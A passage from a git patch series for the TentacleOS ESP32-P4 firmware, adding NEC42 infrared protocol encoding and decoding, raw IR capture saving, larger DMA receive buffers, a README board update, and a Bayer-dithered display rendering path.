terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_PROTOCOL_NEC42_H +#define IR_PROTOCOL_NEC42_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_protocol.h" + +/** @brief Number of data bits in a NEC42 frame (13+13 address, 8+8 command). */ +#define NEC42_FRAME_BITS 42 + +/** @brief Bit mask for the 13-bit NEC42 address field. */ +#define NEC42_ADDR_MASK 0x1FFF + +/** @brief Bit mask for the 8-bit NEC42 command field. */ +#define NEC42_CMD_MASK 0xFF + +/** @brief Bit position of the inverted address field in the NEC42 frame word. */ +#define NEC42_ADDR_INV_SHIFT 13 + +/** @brief Bit position of the command field in the NEC42 frame word. */ +#define NEC42_CMD_SHIFT 26 + +/** @brief Bit position of the inverted command field in the NEC42 frame word. */ +#define NEC42_CMD_INV_SHIFT 34 + +/** @brief Minimum number of RMT symbols for a valid NEC42 frame. */ +#define NEC42_MIN_SYMBOLS 43 + +/** + * @brief Decode a NEC42 IR frame from RMT symbols. + * + * 42-bit frame with a 13-bit address and 8-bit command, each followed by its + * bitwise complement. Shares NEC timing but is decoded before NEC so it is not + * truncated to 32 bits. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. Must be greater than 0. + * @param[out] out_data Destination for decoded data. Must not be NULL. + * + * @return true if a valid NEC42 frame was decoded, false otherwise. + */ +bool ir_protocol_nec42_decode(const rmt_symbol_word_t *symbols, size_t count, ir_data_t *out_data); + +/** + * @brief Encode a NEC42 IR command into RMT symbols. + * + * @param[in] data IR command to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_protocol_nec42_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max); + +#ifdef __cplusplus +} +#endif + +#endif // IR_PROTOCOL_NEC42_H diff --git a/firmware_p4/components/Service/ir/ir_protocol_nec42.c b/firmware_p4/components/Service/ir/ir_protocol_nec42.c new file mode 100644 index 000000000..13c7817ce --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_protocol_nec42.c @@ -0,0 +1,77 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_protocol_nec42.h" + +#include "ir_protocol.h" +#include "ir_protocol_nec.h" + +bool ir_protocol_nec42_decode(const rmt_symbol_word_t *symbols, size_t count, ir_data_t *out_data) { + if (symbols == NULL || count == 0 || out_data == NULL) + return false; + + if (count < NEC42_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, NEC_HEADER_MARK) || + !ir_match(symbols[0].duration1, NEC_HEADER_SPACE)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = NEC_ONE_SPACE, + .zero_space = NEC_ZERO_SPACE, + .msb_first = false, + }; + uint64_t raw = ir_decode_pulse_distance(symbols, 1, NEC42_FRAME_BITS, &cfg); + + uint16_t addr = raw & NEC42_ADDR_MASK; + uint16_t addr_inv = (raw >> NEC42_ADDR_INV_SHIFT) & NEC42_ADDR_MASK; + uint8_t cmd = (raw >> NEC42_CMD_SHIFT) & NEC42_CMD_MASK; + uint8_t cmd_inv = (raw >> NEC42_CMD_INV_SHIFT) & NEC42_CMD_MASK; + + if (((addr ^ addr_inv) & NEC42_ADDR_MASK) != NEC42_ADDR_MASK) + return false; + if ((uint8_t)(cmd ^ cmd_inv) != NEC42_CMD_MASK) + return false; + + out_data->protocol = IR_PROTO_NEC42; + out_data->address = addr; + out_data->command = cmd; + out_data->repeat = false; + return true; +} + +size_t ir_protocol_nec42_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max) { + if (data == NULL || symbols == NULL || max == 0) + return 0; + + uint16_t addr = data->address & NEC42_ADDR_MASK; + uint8_t cmd = data->command & NEC42_CMD_MASK; + + uint64_t raw = (uint64_t)addr | ((uint64_t)(~addr & NEC42_ADDR_MASK) << NEC42_ADDR_INV_SHIFT) | + ((uint64_t)cmd << NEC42_CMD_SHIFT) | + ((uint64_t)(uint8_t)(~cmd) << NEC42_CMD_INV_SHIFT); + + ir_encode_distance_cfg_t cfg = { + .header_mark = NEC_HEADER_MARK, + .header_space = NEC_HEADER_SPACE, + .bit_mark = NEC_BIT_MARK, + .one_space = NEC_ONE_SPACE, + .zero_space = NEC_ZERO_SPACE, + .max = max, + .msb_first = false, + .stop_bit = true, + }; + return ir_encode_pulse_distance(symbols, raw, NEC42_FRAME_BITS, &cfg); +} From c6a132d0ea0d97e0ebe55278440d03a3dd3dbbd3 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 4 Jun 2026 01:04:29 -0300 Subject: [PATCH 040/572] feat(ir): enable DMA RX and 512-symbol buffers for large frames --- firmware_p4/components/Service/ir/include/ir.h | 1 + firmware_p4/components/Service/ir/ir.c | 12 ++++++------ firmware_p4/components/Service/ir/ir_ac.c | 4 ++-- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/firmware_p4/components/Service/ir/include/ir.h b/firmware_p4/components/Service/ir/include/ir.h index 4d90931c4..dfb2838f3 100644 --- a/firmware_p4/components/Service/ir/include/ir.h +++ b/firmware_p4/components/Service/ir/include/ir.h @@ -33,6 +33,7 @@ extern "C" { #define GPIO_IR_TX_PIN 5 #define IR_RMT_RESOLUTION_HZ 1000000 #define IR_RMT_MEM_SYMBOLS 128 +#define IR_MAX_SYMBOLS 512 #define IR_RX_MIN_NS 1250 #define IR_RX_MAX_NS 12000000 #define IR_TX_QUEUE_DEPTH 4 diff --git a/firmware_p4/components/Service/ir/ir.c b/firmware_p4/components/Service/ir/ir.c index 0de6e47d9..66168b14d 100644 --- a/firmware_p4/components/Service/ir/ir.c +++ b/firmware_p4/components/Service/ir/ir.c @@ -29,7 +29,7 @@ static const char *TAG = "IR"; static rmt_channel_handle_t s_rx_chan; static QueueHandle_t s_rx_queue; -static rmt_symbol_word_t s_rx_buffer[IR_RMT_MEM_SYMBOLS]; +static rmt_symbol_word_t s_rx_buffer[IR_MAX_SYMBOLS]; static rmt_receive_config_t s_rx_cfg = { .signal_range_min_ns = IR_RX_MIN_NS, .signal_range_max_ns = IR_RX_MAX_NS, @@ -43,7 +43,7 @@ static SemaphoreHandle_t s_mutex = NULL; static bool s_is_rx_inited = false; static bool s_is_tx_inited = false; -static rmt_symbol_word_t s_last_raw[IR_RMT_MEM_SYMBOLS]; +static rmt_symbol_word_t s_last_raw[IR_MAX_SYMBOLS]; static size_t s_last_raw_count = 0; static bool rx_callback(rmt_channel_handle_t ch, const rmt_rx_done_event_data_t *data, void *ctx); @@ -65,10 +65,10 @@ esp_err_t ir_rx_init(void) { rmt_rx_channel_config_t cfg = { .clk_src = RMT_CLK_SRC_DEFAULT, .resolution_hz = IR_RMT_RESOLUTION_HZ, - .mem_block_symbols = IR_RMT_MEM_SYMBOLS, + .mem_block_symbols = IR_MAX_SYMBOLS, .gpio_num = GPIO_IR_RX_PIN, .flags.invert_in = false, - .flags.with_dma = false, + .flags.with_dma = true, }; esp_err_t ret = rmt_new_rx_channel(&cfg, &s_rx_chan); @@ -160,8 +160,8 @@ esp_err_t ir_receive(ir_data_t *out_data, uint32_t timeout_ms) { if (xSemaphoreTake(s_mutex, portMAX_DELAY) == pdTRUE) { s_last_raw_count = rx_data.num_symbols; - if (s_last_raw_count > IR_RMT_MEM_SYMBOLS) - s_last_raw_count = IR_RMT_MEM_SYMBOLS; + if (s_last_raw_count > IR_MAX_SYMBOLS) + s_last_raw_count = IR_MAX_SYMBOLS; memcpy(s_last_raw, rx_data.received_symbols, s_last_raw_count * sizeof(rmt_symbol_word_t)); xSemaphoreGive(s_mutex); } diff --git a/firmware_p4/components/Service/ir/ir_ac.c b/firmware_p4/components/Service/ir/ir_ac.c index b913f86b7..93bf72365 100644 --- a/firmware_p4/components/Service/ir/ir_ac.c +++ b/firmware_p4/components/Service/ir/ir_ac.c @@ -124,8 +124,8 @@ esp_err_t ir_ac_send(const ir_ac_state_t *state) { if (state == NULL) return ESP_ERR_INVALID_ARG; - rmt_symbol_word_t symbols[IR_RMT_MEM_SYMBOLS]; - size_t count = ir_ac_encode(state, symbols, IR_RMT_MEM_SYMBOLS); + rmt_symbol_word_t symbols[IR_MAX_SYMBOLS]; + size_t count = ir_ac_encode(state, symbols, IR_MAX_SYMBOLS); if (count == 0) return ESP_ERR_INVALID_ARG; From 16361258e75d50b538afac786043345dc1ce2f50 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 4 Jun 2026 01:04:48 -0300 Subject: [PATCH 041/572] feat(ir): save unrecognized captures as raw in the learn screen --- .../ui/screens/infrared/ir_receive_ui.c | 35 +++++++++++++------ 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c index b1fb0244c..34050bd8f 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c @@ -72,10 +72,11 @@ static TaskHandle_t s_rx_task_handle = NULL; static volatile bool s_is_rx_done = false; static volatile bool s_is_rx_success = false; static volatile bool s_is_rx_ac = false; +static volatile bool s_is_rx_raw = false; static ir_data_t s_rx_result; static ir_ac_state_t s_rx_ac_result; -static rmt_symbol_word_t s_rx_ac_raw[IR_RMT_MEM_SYMBOLS]; -static size_t s_rx_ac_raw_count = 0; +static rmt_symbol_word_t s_rx_raw[IR_MAX_SYMBOLS]; +static size_t s_rx_raw_count = 0; static void rx_task(void *pvParameters); static void on_save_result(bool is_confirm); @@ -163,18 +164,19 @@ static void rx_task(void *pvParameters) { ir_rx_init(); s_is_rx_ac = false; + s_is_rx_raw = false; esp_err_t ret = ir_receive(&s_rx_result, RX_TIMEOUT_MS); if (ret == ESP_OK) { s_is_rx_success = true; - } else if (ret == ESP_ERR_NOT_FOUND) { - if (ir_get_last_raw(s_rx_ac_raw, IR_RMT_MEM_SYMBOLS, &s_rx_ac_raw_count) == ESP_OK && - ir_ac_decode(s_rx_ac_raw, s_rx_ac_raw_count, &s_rx_ac_result)) { - s_is_rx_success = true; + } else if (ret == ESP_ERR_NOT_FOUND && + ir_get_last_raw(s_rx_raw, IR_MAX_SYMBOLS, &s_rx_raw_count) == ESP_OK && + s_rx_raw_count > 0) { + s_is_rx_success = true; + if (ir_ac_decode(s_rx_raw, s_rx_raw_count, &s_rx_ac_result)) s_is_rx_ac = true; - } else { - s_is_rx_success = false; - } + else + s_is_rx_raw = true; } else { s_is_rx_success = false; } @@ -208,12 +210,21 @@ static void on_name_entered(const char *text, void *user_data) { if (s_is_rx_ac) { ir_file_add_raw_cfg_t cfg = { .name = text, - .symbols = s_rx_ac_raw, - .count = s_rx_ac_raw_count, + .symbols = s_rx_raw, + .count = s_rx_raw_count, .freq = ir_ac_carrier_freq(s_rx_ac_result.protocol), }; ir_file_add_raw(&file, &cfg); proto = ir_ac_protocol_name(s_rx_ac_result.protocol); + } else if (s_is_rx_raw) { + ir_file_add_raw_cfg_t cfg = { + .name = text, + .symbols = s_rx_raw, + .count = s_rx_raw_count, + .freq = IR_CARRIER_HZ_DEFAULT, + }; + ir_file_add_raw(&file, &cfg); + proto = "RAW"; } else { ir_file_add_parsed(&file, text, &s_rx_result); proto = ir_protocol_name(s_rx_result.protocol); @@ -292,6 +303,8 @@ static void show_result(void) { } else { snprintf(buf, sizeof(buf), "AC: %s\nOff", ir_ac_protocol_name(s_rx_ac_result.protocol)); } + } else if (s_is_rx_raw) { + snprintf(buf, sizeof(buf), "Raw signal\n%u symbols", (unsigned)s_rx_raw_count); } else { snprintf(buf, sizeof(buf), From e2695e93e421962c90cca273eb5421feb9449821 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 4 Jun 2026 01:11:06 -0300 Subject: [PATCH 042/572] fix(ir): wire up NEC32 --- firmware_p4/components/Service/CMakeLists.txt | 1 + .../components/Service/ir/include/ir_protocol.h | 1 + firmware_p4/components/Service/ir/ir_file.c | 12 ++++++++++-- firmware_p4/components/Service/ir/ir_protocol.c | 7 +++++++ 4 files changed, 19 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Service/CMakeLists.txt b/firmware_p4/components/Service/CMakeLists.txt index ece76535c..d93fb4835 100644 --- a/firmware_p4/components/Service/CMakeLists.txt +++ b/firmware_p4/components/Service/CMakeLists.txt @@ -44,6 +44,7 @@ idf_component_register(SRCS "ir/ir_ac_haier.c" "ir/ir_protocol.c" "ir/ir_protocol_nec.c" + "ir/ir_protocol_nec42.c" "ir/ir_protocol_samsung.c" "ir/ir_protocol_lg.c" "ir/ir_protocol_jvc.c" diff --git a/firmware_p4/components/Service/ir/include/ir_protocol.h b/firmware_p4/components/Service/ir/include/ir_protocol.h index 0fa22a285..0925b0565 100644 --- a/firmware_p4/components/Service/ir/include/ir_protocol.h +++ b/firmware_p4/components/Service/ir/include/ir_protocol.h @@ -66,6 +66,7 @@ typedef enum { IR_PROTO_PANASONIC, IR_PROTO_RCA, IR_PROTO_PIONEER, + IR_PROTO_NEC42, IR_PROTO_COUNT, } ir_protocol_t; diff --git a/firmware_p4/components/Service/ir/ir_file.c b/firmware_p4/components/Service/ir/ir_file.c index 8d2a793e7..aa02bcb00 100644 --- a/firmware_p4/components/Service/ir/ir_file.c +++ b/firmware_p4/components/Service/ir/ir_file.c @@ -22,6 +22,7 @@ #include "esp_log.h" #include "ir_protocol_nec.h" +#include "ir_protocol_nec42.h" #include "ir_protocol_samsung.h" #include "ir_protocol_rc5.h" #include "ir_protocol_rc6.h" @@ -89,13 +90,18 @@ static uint32_t parse_hex_bytes(const char *str) { static bool flipper_to_ir_data(const char *proto, uint32_t addr, uint32_t cmd, ir_data_t *out_data) { memset(out_data, 0, sizeof(ir_data_t)); - if (strcmp(proto, "NEC") == 0 || strcmp(proto, "NECext") == 0 || strcmp(proto, "NEC42") == 0 || - strcmp(proto, "NEC42ext") == 0) { + if (strcmp(proto, "NEC") == 0 || strcmp(proto, "NECext") == 0) { out_data->protocol = IR_PROTO_NEC; out_data->address = addr & NEC_EXT_ADDR_MASK; out_data->command = cmd & NEC_EXT_CMD_MASK; return true; } + if (strcmp(proto, "NEC42") == 0 || strcmp(proto, "NEC42ext") == 0) { + out_data->protocol = IR_PROTO_NEC42; + out_data->address = addr & NEC42_ADDR_MASK; + out_data->command = cmd & NEC42_CMD_MASK; + return true; + } if (strcmp(proto, "Samsung32") == 0) { out_data->protocol = IR_PROTO_SAMSUNG; out_data->address = addr & SAMSUNG_EXT_ADDR_MASK; @@ -146,6 +152,8 @@ static const char *to_flipper_proto(ir_protocol_t proto, uint32_t address, uint3 case IR_PROTO_NEC: return (address > NEC_ADDR_STANDARD_MAX || command > NEC_ADDR_STANDARD_MAX) ? "NECext" : "NEC"; + case IR_PROTO_NEC42: + return "NEC42"; case IR_PROTO_SAMSUNG: return "Samsung32"; case IR_PROTO_RC6: diff --git a/firmware_p4/components/Service/ir/ir_protocol.c b/firmware_p4/components/Service/ir/ir_protocol.c index b93d57e4b..d5493bdc4 100644 --- a/firmware_p4/components/Service/ir/ir_protocol.c +++ b/firmware_p4/components/Service/ir/ir_protocol.c @@ -30,6 +30,7 @@ #include "ir_protocol_panasonic.h" #include "ir_protocol_rca.h" #include "ir_protocol_pioneer.h" +#include "ir_protocol_nec42.h" static const char *TAG = "IR_PROTOCOL"; @@ -66,6 +67,8 @@ const char *ir_protocol_name(ir_protocol_t proto) { return "RCA"; case IR_PROTO_PIONEER: return "PIONEER"; + case IR_PROTO_NEC42: + return "NEC42"; default: return "UNKNOWN"; } @@ -235,6 +238,8 @@ bool ir_decode(const rmt_symbol_word_t *symbols, size_t count, ir_data_t *out_da if (ir_protocol_pioneer_decode(symbols, count, out_data)) return true; + if (ir_protocol_nec42_decode(symbols, count, out_data)) + return true; if (ir_protocol_nec_decode(symbols, count, out_data)) return true; if (ir_protocol_lg_decode(symbols, count, out_data)) @@ -288,6 +293,8 @@ size_t ir_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max) return ir_protocol_rca_encode(data, symbols, max); case IR_PROTO_PIONEER: return ir_protocol_pioneer_encode(data, symbols, max); + case IR_PROTO_NEC42: + return ir_protocol_nec42_encode(data, symbols, max); default: ESP_LOGW(TAG, "Encode called with unknown protocol: %d", (int)data->protocol); return 0; From c59d6f9a2c1f46339cb7cae19e5acdc8469fe19a Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 2 Jun 2026 16:43:05 -0300 Subject: [PATCH 043/572] docs(README): change default develoment boards --- README.md | 5 ++--- README.pt.md | 5 ++--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index cd610862f..66343520e 100644 --- a/README.md +++ b/README.md @@ -22,9 +22,8 @@ We are expanding support for the latest Espressif chips: | Target | Status | | :--- | :--- | -| **ESP32-S3** | Main Development | -| **ESP32-P4** | Experimental (firmware_p4) | -| **ESP32-C5** | Experimental (firmware_c5) | +| **ESP32-P4** | Main Development | +| **ESP32-C5** | Main Development | ## Firmware Structure diff --git a/README.pt.md b/README.pt.md index f0b46d84c..f66436803 100644 --- a/README.pt.md +++ b/README.pt.md @@ -23,9 +23,8 @@ Estamos expandindo o suporte para os chips mais recentes da Espressif: | Alvo | Status | | :--- | :--- | -| **ESP32-S3** | Desenvolvimento Principal | -| **ESP32-P4** | Experimental (firmware_p4) | -| **ESP32-C5** | Experimental (firmware_c5) | +| **ESP32-P4** | Desenvolvimento Principal | +| **ESP32-C5** | Desenvolvimento Principal | --- From c02d1bcf733361018c8c97cacda06be4a9a5b985 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 19:35:56 -0300 Subject: [PATCH 044/572] feat(display): render at XRGB8888 and dither to RGB565 to remove gradient banding --- .../Service/lvgl_port/lv_port_disp.c | 76 +++++++++++++++---- firmware_p4/sdkconfig.defaults | 4 + 2 files changed, 66 insertions(+), 14 deletions(-) diff --git a/firmware_p4/components/Service/lvgl_port/lv_port_disp.c b/firmware_p4/components/Service/lvgl_port/lv_port_disp.c index b7ef46893..390cddf95 100644 --- a/firmware_p4/components/Service/lvgl_port/lv_port_disp.c +++ b/firmware_p4/components/Service/lvgl_port/lv_port_disp.c @@ -27,9 +27,31 @@ static const char *TAG = "LV_PORT_DISP"; #define LVGL_BUF_LINES (LCD_V_RES / 2) #define LVGL_BUF_PIXELS (LCD_H_RES * LVGL_BUF_LINES) -#define LVGL_BUF_ALLOC (MALLOC_CAP_DMA | MALLOC_CAP_INTERNAL) + +// LVGL renders into XRGB8888 buffers (4 bytes/px) so gradients are interpolated +// at 8 bits per channel. These live in PSRAM since they are CPU-only. +#define RENDER_BUF_BYTES (LVGL_BUF_PIXELS * 4) +#define RENDER_BUF_ALLOC (MALLOC_CAP_SPIRAM | MALLOC_CAP_8BIT) + +// The dithered RGB565 result is staged here for the panel DMA transfer. +#define XFER_BUF_BYTES (LVGL_BUF_PIXELS * sizeof(uint16_t)) +#define XFER_BUF_ALLOC (MALLOC_CAP_DMA | MALLOC_CAP_INTERNAL) static lv_display_t *s_disp_handle = NULL; +static uint16_t *s_xfer_buf = NULL; + +// Ordered 8x8 Bayer threshold matrix (values 0..63), indexed by screen +// coordinates so the dither pattern stays stable across partial flushes. +static const uint8_t s_bayer8[8][8] = { + {0, 32, 8, 40, 2, 34, 10, 42}, {48, 16, 56, 24, 50, 18, 58, 26}, + {12, 44, 4, 36, 14, 46, 6, 38}, {60, 28, 52, 20, 62, 30, 54, 22}, + {3, 35, 11, 43, 1, 33, 9, 41}, {51, 19, 59, 27, 49, 17, 57, 25}, + {15, 47, 7, 39, 13, 45, 5, 37}, {63, 31, 55, 23, 61, 29, 53, 21}, +}; + +static inline uint8_t clamp_u8(int v) { + return v < 0 ? 0 : (v > 255 ? 255 : (uint8_t)v); +} static bool flush_ready_cb(esp_lcd_panel_io_handle_t panel_io, esp_lcd_panel_io_event_data_t *edata, @@ -42,14 +64,36 @@ static bool flush_ready_cb(esp_lcd_panel_io_handle_t panel_io, static void disp_flush(lv_display_t *disp, const lv_area_t *area, uint8_t *px_map) { uint32_t w = lv_area_get_width(area); uint32_t h = lv_area_get_height(area); - uint32_t px_count = w * h; - lv_draw_sw_rgb565_swap(px_map, px_count); + const lv_color32_t *src = (const lv_color32_t *)px_map; + uint16_t *dst = s_xfer_buf; + + for (uint32_t row = 0; row < h; row++) { + const uint8_t *bayer_row = s_bayer8[(area->y1 + row) & 7]; + const lv_color32_t *src_row = &src[row * w]; + uint16_t *dst_row = &dst[row * w]; + + for (uint32_t col = 0; col < w; col++) { + const lv_color32_t *p = &src_row[col]; + uint8_t t = bayer_row[(area->x1 + col) & 7]; - esp_lcd_panel_draw_bitmap(panel_handle, area->x1, area->y1, area->x2 + 1, area->y2 + 1, px_map); + // Add up to one display LSB of ordered noise before truncating: the + // R/B channels keep 5 bits (LSB step 8), G keeps 6 bits (step 4). + uint8_t r = clamp_u8(p->red + ((t * 8) >> 6)); + uint8_t g = clamp_u8(p->green + ((t * 4) >> 6)); + uint8_t b = clamp_u8(p->blue + ((t * 8) >> 6)); + + uint16_t rgb565 = ((uint16_t)(r & 0xF8) << 8) | ((uint16_t)(g & 0xFC) << 3) | (b >> 3); + + // ST7789 expects the high byte first. + dst_row[col] = (uint16_t)((rgb565 << 8) | (rgb565 >> 8)); + } + } + + esp_lcd_panel_draw_bitmap(panel_handle, area->x1, area->y1, area->x2 + 1, area->y2 + 1, dst); if (ble_screen_server_is_active()) { - ble_screen_server_send_partial((const uint16_t *)px_map, area->x1, area->y1, w, h); + ble_screen_server_send_partial(dst, area->x1, area->y1, w, h); } } @@ -57,17 +101,20 @@ void lv_port_disp_init(void) { s_disp_handle = lv_display_create(LCD_H_RES, LCD_V_RES); lv_display_set_flush_cb(s_disp_handle, disp_flush); - size_t buf_size = LVGL_BUF_PIXELS * sizeof(lv_color_t); - - void *buf1 = heap_caps_malloc(buf_size, LVGL_BUF_ALLOC); - void *buf2 = heap_caps_malloc(buf_size, LVGL_BUF_ALLOC); + void *buf1 = heap_caps_malloc(RENDER_BUF_BYTES, RENDER_BUF_ALLOC); + void *buf2 = heap_caps_malloc(RENDER_BUF_BYTES, RENDER_BUF_ALLOC); + s_xfer_buf = heap_caps_malloc(XFER_BUF_BYTES, XFER_BUF_ALLOC); - if (buf1 == NULL || buf2 == NULL) { - ESP_LOGE(TAG, "Failed to allocate display buffers (%u bytes each)", (unsigned)buf_size); + if (buf1 == NULL || buf2 == NULL || s_xfer_buf == NULL) { + ESP_LOGE(TAG, + "Failed to allocate display buffers (render %u x2, xfer %u)", + (unsigned)RENDER_BUF_BYTES, + (unsigned)XFER_BUF_BYTES); return; } - lv_display_set_buffers(s_disp_handle, buf1, buf2, buf_size, LV_DISPLAY_RENDER_MODE_PARTIAL); + lv_display_set_buffers( + s_disp_handle, buf1, buf2, RENDER_BUF_BYTES, LV_DISPLAY_RENDER_MODE_PARTIAL); const esp_lcd_panel_io_callbacks_t cbs = { .on_color_trans_done = flush_ready_cb, @@ -75,8 +122,9 @@ void lv_port_disp_init(void) { esp_lcd_panel_io_register_event_callbacks(io_handle, &cbs, s_disp_handle); ESP_LOGI(TAG, - "Display port initialized (%dx%d, buf: %u bytes x2)", + "Display port initialized (%dx%d, render %u bytes x2, xfer %u bytes)", LCD_H_RES, LCD_V_RES, - (unsigned)buf_size); + (unsigned)RENDER_BUF_BYTES, + (unsigned)XFER_BUF_BYTES); } diff --git a/firmware_p4/sdkconfig.defaults b/firmware_p4/sdkconfig.defaults index f83a64cd9..8177c51a3 100644 --- a/firmware_p4/sdkconfig.defaults +++ b/firmware_p4/sdkconfig.defaults @@ -45,5 +45,9 @@ CONFIG_FREERTOS_USE_STATS_FORMATTING_FUNCTIONS=y CONFIG_LV_FONT_MONTSERRAT_12=y CONFIG_LV_FONT_MONTSERRAT_14=y +# Render internally at XRGB8888 so gradients are interpolated at 8 bits/channel. +# The display port dithers down to RGB565 at flush time to remove banding. +CONFIG_LV_COLOR_DEPTH_32=y + # Default log level INFO CONFIG_LOG_DEFAULT_LEVEL_INFO=y From ffcbf905d457913eb43e7d799b63972518319e74 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 20:13:34 -0300 Subject: [PATCH 045/572] fix(display): dither in place from internal DMA buffers to fix screen corruption --- .../Service/lvgl_port/lv_port_disp.c | 43 ++++++++----------- 1 file changed, 18 insertions(+), 25 deletions(-) diff --git a/firmware_p4/components/Service/lvgl_port/lv_port_disp.c b/firmware_p4/components/Service/lvgl_port/lv_port_disp.c index 390cddf95..a5de8bf54 100644 --- a/firmware_p4/components/Service/lvgl_port/lv_port_disp.c +++ b/firmware_p4/components/Service/lvgl_port/lv_port_disp.c @@ -25,20 +25,16 @@ static const char *TAG = "LV_PORT_DISP"; -#define LVGL_BUF_LINES (LCD_V_RES / 2) -#define LVGL_BUF_PIXELS (LCD_H_RES * LVGL_BUF_LINES) - // LVGL renders into XRGB8888 buffers (4 bytes/px) so gradients are interpolated -// at 8 bits per channel. These live in PSRAM since they are CPU-only. -#define RENDER_BUF_BYTES (LVGL_BUF_PIXELS * 4) -#define RENDER_BUF_ALLOC (MALLOC_CAP_SPIRAM | MALLOC_CAP_8BIT) - -// The dithered RGB565 result is staged here for the panel DMA transfer. -#define XFER_BUF_BYTES (LVGL_BUF_PIXELS * sizeof(uint16_t)) -#define XFER_BUF_ALLOC (MALLOC_CAP_DMA | MALLOC_CAP_INTERNAL) +// at 8 bits per channel; disp_flush then dithers them down to RGB565 in place +// before the panel transfer. Using a quarter of the lines keeps internal DMA RAM +// usage equal to the old RGB565 buffers (4 bytes/px over half as many lines). +#define LVGL_BUF_LINES (LCD_V_RES / 4) +#define LVGL_BUF_PIXELS (LCD_H_RES * LVGL_BUF_LINES) +#define LVGL_BUF_BYTES (LVGL_BUF_PIXELS * 4) +#define LVGL_BUF_ALLOC (MALLOC_CAP_DMA | MALLOC_CAP_INTERNAL) static lv_display_t *s_disp_handle = NULL; -static uint16_t *s_xfer_buf = NULL; // Ordered 8x8 Bayer threshold matrix (values 0..63), indexed by screen // coordinates so the dither pattern stays stable across partial flushes. @@ -65,8 +61,11 @@ static void disp_flush(lv_display_t *disp, const lv_area_t *area, uint8_t *px_ma uint32_t w = lv_area_get_width(area); uint32_t h = lv_area_get_height(area); + // Dither in place: the RGB565 output (2 bytes/px) is written into the front of + // the same buffer. The write cursor always trails the XRGB8888 read cursor + // (4 bytes/px), so every source pixel is consumed before it can be overwritten. const lv_color32_t *src = (const lv_color32_t *)px_map; - uint16_t *dst = s_xfer_buf; + uint16_t *dst = (uint16_t *)px_map; for (uint32_t row = 0; row < h; row++) { const uint8_t *bayer_row = s_bayer8[(area->y1 + row) & 7]; @@ -101,20 +100,15 @@ void lv_port_disp_init(void) { s_disp_handle = lv_display_create(LCD_H_RES, LCD_V_RES); lv_display_set_flush_cb(s_disp_handle, disp_flush); - void *buf1 = heap_caps_malloc(RENDER_BUF_BYTES, RENDER_BUF_ALLOC); - void *buf2 = heap_caps_malloc(RENDER_BUF_BYTES, RENDER_BUF_ALLOC); - s_xfer_buf = heap_caps_malloc(XFER_BUF_BYTES, XFER_BUF_ALLOC); + void *buf1 = heap_caps_malloc(LVGL_BUF_BYTES, LVGL_BUF_ALLOC); + void *buf2 = heap_caps_malloc(LVGL_BUF_BYTES, LVGL_BUF_ALLOC); - if (buf1 == NULL || buf2 == NULL || s_xfer_buf == NULL) { - ESP_LOGE(TAG, - "Failed to allocate display buffers (render %u x2, xfer %u)", - (unsigned)RENDER_BUF_BYTES, - (unsigned)XFER_BUF_BYTES); + if (buf1 == NULL || buf2 == NULL) { + ESP_LOGE(TAG, "Failed to allocate display buffers (%u bytes each)", (unsigned)LVGL_BUF_BYTES); return; } - lv_display_set_buffers( - s_disp_handle, buf1, buf2, RENDER_BUF_BYTES, LV_DISPLAY_RENDER_MODE_PARTIAL); + lv_display_set_buffers(s_disp_handle, buf1, buf2, LVGL_BUF_BYTES, LV_DISPLAY_RENDER_MODE_PARTIAL); const esp_lcd_panel_io_callbacks_t cbs = { .on_color_trans_done = flush_ready_cb, @@ -122,9 +116,8 @@ void lv_port_disp_init(void) { esp_lcd_panel_io_register_event_callbacks(io_handle, &cbs, s_disp_handle); ESP_LOGI(TAG, - "Display port initialized (%dx%d, render %u bytes x2, xfer %u bytes)", + "Display port initialized (%dx%d, buf: %u bytes x2)", LCD_H_RES, LCD_V_RES, - (unsigned)RENDER_BUF_BYTES, - (unsigned)XFER_BUF_BYTES); + (unsigned)LVGL_BUF_BYTES); } From 6e53544756be2800ee16eb68d12f18bcfa7f3a49 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: 